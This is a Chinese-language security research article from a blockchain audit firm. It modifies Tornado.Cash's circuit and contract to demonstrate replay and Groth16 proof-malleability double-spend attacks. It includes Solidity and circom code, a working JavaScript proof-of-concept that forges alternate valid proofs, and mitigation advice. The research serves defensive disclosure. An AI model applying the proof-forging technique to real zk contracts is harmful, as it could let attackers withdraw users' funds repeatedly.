Beosin硬核研究 | 深入探究 Tornado.Cash，揭示zkp项目的延展性攻击

本文作者：Beosin安全研究专家Saya & Bryce

在上篇文章里，我们从原理的角度阐述了 Groth16 证明系统本身存在的延展性漏洞，本文中我们将以Tornado.Cash项目为例，魔改其部分电路和代码，介绍延展性攻击流程以及该项目中对应的防范措施，希望其他zkp项目方也引起注意。

其中，Tornado.Cash使用snarkjs库进行开发，同样基于如下开发流程，后续就直接进行介绍，不熟悉该库的请阅读本系列第一篇文章。（Beosin | 深度剖析零知识证明zk-SNARK漏洞：为什么零知识证明系统并非万无一失？）

（图源：https://docs.circom.io/）

1 Tornado.Cash 架构

Tornado.Cash的交互流程中主要包含4个实体：

• User：使用该DApp进行混币器隐私交易，包括存、取款。

• Web page：DApp的前端网页，网页上包含一些用户按钮。

• Relayer：为防止链上节点记录发起隐私交易的ip地址等信息，该服务器会代替用户重放交易，进一步增强隐私性。

• Contract：包含一个代理合约Tornado.Cash Proxy，该代理合约会根据用户存取款的金额选择指定的Tornado池子进行后续的存取款操作。目前已存在4个池子，金额分别为：0.1、1、10、100。

User首先在Tornado.Cash的前端网页上进行对应操作，触发存款或取款交易，接着由Relayer将其交易请求转发到链上的Tornado.Cash Proxy合约，并根据交易金额转发到对应的Pool中，最终进行存款和取款等处理，具体的架构如下：

Tornado.Cash作为一个混币器，其具体业务功能分为两部分：

• deposit：当用户进行存款交易时，首先在前端网页上选择存入的代币(BNB、ETH等)和对应的数额，为了更好的确保用户的隐私性，只能存入四种金额数量；

图源：<https://ipfs.io/ipns/tornadocash.eth/>

接着服务器会生成两个31字节的随机数nullifier、secret，将其拼接后进行pedersenHash运算即可得到commitment，将nullifier+secret加上前缀作为note返回给用户，note如下图：

• 随后发起一笔deposit交易将commitment等数据发送到链上Tornado.Cash Proxy合约中，代理合约根据deposit的金额将数据转发至对应的Pool中，最后Pool合约将commitment作为叶子结点插入到merkle tree，并将计算出的root存储在Pool合约中。

• withdraw：当用户进行取款交易时，首先在前端网页上输入deposit时返回的note数据和收款地址；

图源：<https://ipfs.io/ipns/tornadocash.eth/>

• 接着服务器会在链下检索出所有Tornadocash的deposit事件，提取其中的commitment构建链下的Merkle tree，并根据用户给出的note数据(nullifier+secret)生成commitment并生成对应的Merkle Path和对应的root，并作为电路输入得到零知识SNARK proof；最后，再发起一笔withdraw交易到链上的Tornado.Cash Proxy合约中，接着根据参数跳转到对应的Pool合约中验证证明，将钱打入用户指定的接收者地址。

其中，Tornado.Cash 的withdraw核心其实就是在不暴露用户持有的nullifier、secret的情况下，证明某个commitment存在于Merkle tree上，具体的默克尔树结构如下：

2 Tornado.Cash 魔改漏洞版

2.1 Tornado.Cash 魔改

针对第一篇文章Groth16 延展性攻击原理，我们知道攻击者使用相同的nullifier、secret其实可以生成多个不同的Proof，那么如果开发者没有考虑到Proof重放造成的双花攻击，就会威胁到项目资金。在对Tornado.Cash进行魔改之前，本文先介绍一下Tornado.Cash最终处理withdraw的Pool中代码：

/**
    @dev Withdraw a deposit from the contract. `proof` is a zkSNARK proof data, and input is an array of circuit public inputs
    `input` array consists of:
      - merkle root of all deposits in the contract
      - hash of unique deposit nullifier to prevent double spends
      - the recipient of funds
      - optional fee that goes to the transaction sender (usually a relay)
  */
  function withdraw(
    bytes calldata _proof,
    bytes32 _root,
    bytes32 _nullifierHash,
    address payable _recipient,
    address payable _relayer,
    uint256 _fee,
    uint256 _refund
  ) external payable nonReentrant {
    require(_fee <= denomination, "Fee exceeds transfer value");
    require(!nullifierHashes[_nullifierHash], "The note has been already spent");
    require(isKnownRoot(_root), "Cannot find your merkle root"); // Make sure to use a recent one
    require(
      verifier.verifyProof(
        _proof,
        [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund]
      ),
      "Invalid withdraw proof"
    );

    nullifierHashes[_nullifierHash] = true;
    _processWithdraw(_recipient, _relayer, _fee, _refund);
    emit Withdrawal(_recipient, _nullifierHash, _relayer, _fee);
  }

上图中为了防止攻击者使用同一个Proof进行双花攻击，而又不暴露nullifier、secret，Tornado.Cash在电路中增加了一个公共信号nullifierHash，它是由nullifier进行Pedersen哈希得到，可以作为参数传到链上，Pool合约再使用该变量标识一个正确的Proof是否已经被使用过。但是如果项目方不采用修改电路的方式，而是直接以记录Proof方式来防止双花，毕竟这样做可以减少电路约束，从而节省开销，但是能否达到目的呢？

对于此猜想，本文将删除电路中新增的nullifierHash公共信号，并将合约校验改为Proof校验。由于Tornado.Cash在每次withdraw时都会获取所有的deposit事件组建merkle tree再校验生成的root值是否在最近生成的30个之内，整个过程太过麻烦，因此本文电路也将删除merkleTree电路，仅仅留下withdraw部分的核心电路，具体电路如下：

include "../../../../node_modules/circomlib/circuits/bitify.circom";  
include "../../../../node_modules/circomlib/circuits/pedersen.circom";

// computes Pedersen(nullifier + secret)
template CommitmentHasher() {
    signal input nullifier;
    signal input secret;
    signal output commitment;
    // signal output nullifierHash;   // delete

    component commitmentHasher = Pedersen(496);
    // component nullifierHasher = Pedersen(248);
    component nullifierBits = Num2Bits(248);
    component secretBits = Num2Bits(248);

    nullifierBits.in <== nullifier;
    secretBits.in <== secret;
    for (var i = 0; i < 248; i++) {
        // nullifierHasher.in[i] <== nullifierBits.out[i];  // delete
        commitmentHasher.in[i] <== nullifierBits.out[i];
        commitmentHasher.in[i + 248] <== secretBits.out[i];
    }

    commitment <== commitmentHasher.out[0];
    // nullifierHash <== nullifierHasher.out[0];   // delete
}

// Verifies that commitment that corresponds to given secret and nullifier is included in the merkle tree of deposits
    signal output commitment;
    signal input recipient; // not taking part in any computations
    signal input relayer;  // not taking part in any computations
    signal input fee;      // not taking part in any computations
    signal input refund;   // not taking part in any computations
    signal input nullifier;
    signal input secret;
    component hasher = CommitmentHasher();
    hasher.nullifier <== nullifier;
    hasher.secret <== secret;
    commitment <== hasher.commitment;

    // Add hidden signals to make sure that tampering with recipient or fee will invalidate the snark proof
    // Most likely it is not required, but it's better to stay on the safe side and it only takes 2 constraints
    // Squares are used to prevent optimizer from removing those constraints
    signal recipientSquare;
    signal feeSquare;
    signal relayerSquare;
    signal refundSquare;

    recipientSquare <== recipient * recipient;
    feeSquare <== fee * fee;
    relayerSquare <== relayer * relayer;
    refundSquare <== refund * refund;

}

component main = Withdraw(20);

注意：我们在实验过程中发现，TornadoCash 在 GitHub 中的最新版代码里（https://github.com/tornadocash/tornado-core）， withdraw 电路缺乏输出信号，需要人工修正才能正确运行。

根据上述修改后的电路，使用snarkjs库等按照本文开始给出的开发流程逐步进行，生成如下正常Proof，记为proof1：

The proof: {
  pi_a: [
    12731245758885665844440940942625335911548255472545721927606279036884288780352n,
    11029567045033340566548367893304052946457319632960669053932271922876268005970n,
    1n
  ],
  pi_b: [
    [
      4424670283556465622197187546754094667837383166479615474515182183878046002081n,
      8088104569927474555610665242983621221932062943927262293572649061565902268616n
    ],
    [
      9194248463115986940359811988096155965376840166464829609545491502209803154186n,
      18373139073981696655136870665800393986130876498128887091087060068369811557306n
    ],
    [ 1n, 0n ]
  ],
  pi_c: [
    1626407734863381433630916916203225704171957179582436403191883565668143772631n,
    10375204902125491773178253544576299821079735144068419595539416984653646546215n,
    1n
  ],
  protocol: 'groth16',
  curve: 'bn128'
}

2.2 实验验证

2.2.1 验证证明 — circom 生成的默认合约

首先，我们使用circom 生成的默认合约进行验证，该合约由于根本没有记录任何已经使用过的Proof相关信息，攻击者可多次重放proof1造成双花攻击。在下列实验中，可以针对同一电路的同一个input，无限次重放proof，均能通过验证。

下图是使用proof1在默认合约中证明验证通过的实验截图，包含上篇文章中使用的Proof参数A、B、C，以及最终的结果：

下图是我们使用同样的proof1多次调用verifyProof函数进行证明验证的结果，实验发现针对同一input，无论攻击者使用多少次proof1进行验证，都可以通过：

当然在我们在snarkjs原生的js代码库中进行测试，也并未对已经使用过的Proof进行防范，实验结果如下：

2.2.2 验证证明 — 普通防重放合约

针对circom 生成的默认合约中的重放漏洞，本文记录已使用过的正确Proof(proof1)中的一个值，以达到防止使用验证过的proof进行重放攻击的目的，具体如下图所示：

继续使用proof1进行验证，实验发现在使用同样Proof进行二次验证时，交易revert报错："The note has been already spent"，结果如下图所示：

但是此时虽然达到了防止普通proof重放攻击的目的，但是前文介绍过groth16算法存在延展性漏洞问题，这种防范措施仍可以被绕过。于是下图我们构造PoC，按照第一篇文章中的算法针对同一input生成伪造的zk-SNARK证明，实验发现仍然能通过验证。生成伪造证明proof2的PoC代码如下：

import WasmCurve from "/Users/saya/node_modules/ffjavascript/src/wasm_curve.js"
import ZqField from "/Users/saya/node_modules/ffjavascript/src/f1field.js"
import groth16FullProve from "/Users/saya/node_modules/snarkjs/src/groth16_fullprove.js"
import groth16Verify from "/Users/saya/node_modules/snarkjs/src/groth16_verify.js";
import * as curves from "/Users/saya/node_modules/snarkjs/src/curves.js";
import fs from "fs";
import {  utils }   from "ffjavascript";
const {unstringifyBigInts} = utils;

groth16_exp();
async function groth16_exp(){
    let inputA = "7";
    let inputB = "11";
    const SNARK_FIELD_SIZE = BigInt('21888242871839275222246405745257275088548364400416034343698204186575808495617');

    // 2. 读取string后转化为int
    const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync("proof.json","utf8")));
    console.log("The proof:",proof);

    // 生成逆元，生成的逆元必须在F1域
    const F = new ZqField(SNARK_FIELD_SIZE);
    // const F = new F2Field(SNARK_FIELD_SIZE);
    const X = F.e("123456")
    const invX = F.inv(X)
    console.log("x:" ,X )
    console.log("invX" ,invX)
    console.log("The timesScalar is:",F.mul(X,invX))

    // 读取椭圆曲线G1、G2点 
    const vKey = JSON.parse(fs.readFileSync("verification_key.json","utf8"));
    // console.log("The curve is:",vKey);
    const curve = await curves.getCurveFromName(vKey.curve);

    const G1 = curve.G1;
    const G2 = curve.G2;
    const A = G1.fromObject(proof.pi_a);
    const B = G2.fromObject(proof.pi_b);
    const C = G1.fromObject(proof.pi_c);

    const new_pi_a = G1.timesScalar(A, X);  //A'=x*A
    const new_pi_b = G2.timesScalar(B, invX);  //B'=x^{-1}*B

    proof.pi_a = G1.toObject(G1.toAffine(A));
    proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a))
    proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b))

    // 将生成的G1、G2点转化为proof
    console.log("proof.pi_a:",proof.pi_a);
    console.log("proof.new_pi_a:",proof.new_pi_a)
    console.log("proof.new_pi_b:",proof.new_pi_b)

}

生成的伪造证明proof2，具体如下图所示：

proof.pi_a: [
  12731245758885665844440940942625335911548255472545721927606279036884288780352n,
  11029567045033340566548367893304052946457319632960669053932271922876268005970n,
  1n
]
proof.new_pi_a: [
  3268624544870461100664351611568866361125322693726990010349657497609444389527n,
  21156099942559593159790898693162006358905276643480284336017680361717954148668n,
  1n
]
proof.new_pi_b: [
  [
    2017004938108461976377332931028520048391650017861855986117340314722708331101n,
    6901316944871385425597366288561266915582095050959790709831410010627836387777n
],
  [
    17019460532187637789507174563951687489832996457696195974253666014392120448346n,
    7320211194249460400170431279189485965933578983661252776040008442689480757963n
],
  [ 1n, 0n ]
]

再次使用该参数调用verifyProof函数进行证明验证时，实验发现同一input的情况下使用proof2验证再次通过了，具体如下所示：

虽然伪造的证明proof2也只能再使用一次，但由于针对同一input的伪造的证明存在几乎无限多个，因此可能造成合约资金被无限次被提取。

本文同样使用circom库的js代码进行测试，实验结果proof1和伪造的proof2都可以通过验证：

2.2.3 验证证明 — Tornado.Cash防重放合约

经历了那么多次失败，难道没有一种方式可以一劳永逸吗？此处按照Tornado.Cash中通过校验原始input是否已经被使用的做法，本文继续修改合约代码如下：

需要说明的是，为了展示groth16算法延展性攻击的防范简单措施，**本文采取直接记录原始电路input的方式，但是这不符合零知识证明的隐私原则，电路输入应当是保密的。**比如 Tornado.Cash中input都是private，需要重新新增一个public input标识一条Proof。本文由于电路中没有新增标识，所以隐私性相对于Tornado.Cash来说较差，仅作为实验Demo展示结果如下：

可以发现，上图中使用同一input的Proof，只有第一次可以通过验证proof1，随后该proof1和伪造的proof2都不能通过校验。

3 总结和建议

本文主要通过魔改TornadoCash的电路和使用开发者常用的Circom默认生成的合约验证了重放漏洞的真实性和危害，并进一步验证了使用在合约层面的普通措施可以防护重放漏洞，但无法防止groth16的延展性攻击，对此，我们建议零知识证明的项目在项目开发时，应注意：

• 与传统DApp使用地址等唯一数据生成节点数据的方式不同，zkp项目通常是使用组合随机数的方式生成Merkle tree节点，需要注意业务逻辑是否允许插入相同数值节点的情况。因为相同的叶子结点数据可能导致部分用户资金被锁死在合约中，或者是同一叶子节点数据存在多个Merkle Proof混淆业务逻辑的情况。

• zkp项目方通常使用mapping记录已使用的过的Proof，防范双花攻击。需要注意使用Groth16开发时，由于存在延展性攻击，因此记录需使用节点原始数据，而不能仅仅使用Proof相关数据标识。

• 复杂电路可能存在电路不确定、欠约束等问题，合约验证时条件不完整，实现逻辑存在漏洞等问题，我们强烈建议项目方在项目上线时，寻求对电路和合约都有一定研究的安全审计公司进行全面审计，尽可能的保证项目安全。

Beosin作为一家全球领先的区块链安全公司，在全球10多个国家和地区设立了分部，业务涵盖项目上线前的代码安全审计、项目运行时的安全风险监控、预警与阻断、虚拟货币被盗资产追回、安全合规KYT/AML等“一站式”区块链安全产品+服务，目前已为全球3000多个区块链企业提供安全技术服务，审计智能合约超过3000份，同时，Beosin也提供上币项目的安全评估以及提供符合各地监管要求的合规评估、VaaS自动化上币审计服务、交易所渗透服务、交易所安全建设咨询服务等安全解决方案。欢迎点击公众号留言框，与我们联系。

 近期热点文章阅读：